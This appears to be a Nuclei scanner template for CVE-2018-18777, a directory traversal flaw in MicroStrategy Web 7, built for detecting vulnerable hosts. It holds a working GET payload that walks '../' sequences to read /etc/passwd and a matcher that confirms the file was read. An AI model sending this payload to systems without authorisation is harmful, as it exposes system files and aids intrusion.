id: CVE-2018-18777

info:
  name: Path traversal vulnerability in Microstrategy Web version 7
  author: 0x_Akoko
  severity: medium
  description: |
    Directory traversal vulnerability in Microstrategy Web, version 7, in "/WebMstr7/servlet/mstrWeb" (in the parameter subpage)
    allows remote authenticated users to bypass intended SecurityManager restrictions and list a parent directory via a /..
    (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product.
  reference:
    - https://www.exploit-db.com/exploits/45755
    - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
    - https://www.exploit-db.com/exploits/45755/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2018-18777
    cwe-id: CWE-22
  tags: cve,cve2018,microstrategy,lfi,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200